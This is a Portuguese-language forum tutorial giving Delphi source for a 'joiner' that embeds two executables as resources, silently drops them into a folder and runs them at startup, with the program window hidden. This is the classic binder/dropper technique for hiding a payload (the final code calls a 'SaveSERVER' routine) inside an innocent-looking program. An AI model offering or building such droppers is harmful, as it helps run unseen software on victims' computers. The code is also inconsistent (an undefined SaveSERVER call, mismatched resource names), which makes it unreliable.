Este programa não faz uso de interface gráfica(opcional)Este tutorial reuni
Dois em um só.- Embutir (.EXE) em (.EXE)
- Juntando 2 (.EXE) em apenas 1
Embutidor1. Crie um arquivo chamado (EMBUTIR.rc)
2. Abra-o com o Bloco de Texto e escreva:
- Citação :
- EXTRA EXEFILE C:\EXTRA.EXE
EMAIL EXEFILE C:\EMAIL.EXE
Negrito: Refere-se ao apelido da sua aplicação. Coloque o nome do executavel(recomendado).
Inclinado: Refere-se ao tipo da sua aplicação.
Sublinhado: Refere-se ao caminho da sua aplicação. Coloque um diretório simples, pois a partir do próximo passo você ja vai poder deletar esses arquivos(se quiser).
Obs: Você pode colocar qualquer tipo de arquivo no (.rc).
3.Vamos compilar seu (.rc)
- Abra o seu Prompt de Comando: Iniciar > Executar > cmd.
- Digite:
BRCC32- Digite:
BRCC32 C:\EMBUTIR.rcLaranja: É onde você salvou o seu arquivo (.rc).
4.Vá ao C:/ (Ou outro diretório onde estava o (.rc)), que você verá o novo arquivo compilado o (EMBUTIR.RES) o seu
Resource.
5.Leve ele até a pasta onde está seu Projeto (.dpr) e coloque no seu Código da Unit.pas onde tem:
- Citação :
- (...)
var
Form1: TForm1;
implementation
{$R *.dfm}
end.
E adiocene antes de 'end.' isso:
- Citação :
- {$R EMBUTIR.res} // Ou o nome do seu (.res)
Ficando assim:
- Citação :
- var
Form1: TForm1;
implementation
{$R *.dfm}
{$R EXE.RES}
Juntando os arquivos6.Executando e Salvando os arquivos dentro do (.res),
(EXTRA.EXE) e
(EMAIL.EXE). Vou explicar no própio código.
- Citação :
- Procedure SaveEXTRA; // Nome da procedure a ser chamada
Var PathToSave:String; // Declarando as variáveis
Res : TResourceStream;
Begin
PathToSave := 'C:\TESTE\EXTRA.EXE'; // (Pasta Nome do executável). Aonde você quer salvar (PathToSave)
If not FileExists(PathToSave) Then Begin // Checa se o arquivo já existe
Res := TResourceStream.Create(Hinstance, 'EXTRA', 'EXEFILE'); //O título e o tipo do arquivo
Try // Salva o arquivo
Res.SavetoFile(PathToSave);
Finally
Res.Free;
End;
End;
WinExec(pchar('C:\TESTE\EXTRA.EXE'), sw_normal); //Executa o arquivo
End;
Faça isso para cada arquivo7. Ué como vamos executar essa função antes de tudo? Insira no
FIM do código, antes do 'end.':
- Código:
-
Initialization
Begin
SaveEXTRA; // Executa as funções declaradas
SaveEMAIL;
Application.Terminate; //Termina o Juntador, mais não as aplicações dos outros dois (.EXE).
end;
É isso.
Objetivos:
- Juntar e executar 2 (.EXE) ou mais;
- Salva dois arquivos internos para algum diretório específico;
- E claro, abrir portas para outros tipos de programas.
(eu fiz um Enviador de Emails com SSL extraindos as DLLS assim pega em todos os computadores ;D)
Seu código final deverá ficar
semelhante a este:
- Código:
-
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;
type
TForm1 = class(TForm)
Label1: TLabel;
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
{$R EMBUTIR.RES}
// >> JUNTADOR FUNCOES << ===============================================
// SALVA O EXTRA
Procedure SaveEXTRA;
Var PathToSave:String;
Res : TResourceStream;
Begin
PathToSave := 'C:\TESTE\EXTRA.EXE';
If not FileExists(PathToSave) Then Begin
Res := TResourceStream.Create(Hinstance, 'EXTRA', 'EXEFILE');
Try
Res.SavetoFile(PathToSave);
Finally
Res.Free;
End;
End;
WinExec(pchar('C:\TESTE\EXTRA.EXE'), sw_normal);
End;
//SALVA O EMAIL
Procedure SaveEMAIL;
Var PathToSave:String;
Res : TResourceStream;
Begin
PathToSave := 'C:\TESTE\EMAIL.EXE';
If not FileExists(PathToSave) Then Begin
Res := TResourceStream.Create(Hinstance, 'EMAIL', 'EXEFILE');
Try
Res.SavetoFile(PathToSave);
Finally
Res.Free;
End;
End;
WinExec(pchar('C:\TESTE\EMAIL.EXE'), sw_normal);
End;
//=====================================================================
// >> EXECUTA EXTRACAO << =============================================
Initialization
Begin
SaveSERVER;
SaveEMAIL;
Application.Terminate;
end;
//=====================================================================
end.
ExtraComo o programa não tem interface gráfica, não precisa mostrar aquela janela em branco do Delphi."
(Piscar)".
Então vá em Project > View Source > e adicione abaixo de:
- Código:
-
Application.CreateForm(TForm1, Form1);
O código:
- Código:
-
Application.ShowMainForm:=False; //Não mostra o programa
Seu source deve fica - assim:
- Código:
-
program Project1;
uses
Forms,
Unit1 in 'Unit1.pas' {Form1};
{$R *.res}
begin
Application.Initialize;
Application.CreateForm(TForm1, Form1);
Application.ShowMainForm:=False;
Application.Run;
end.
Boa Aprendizagem!Por lifeSample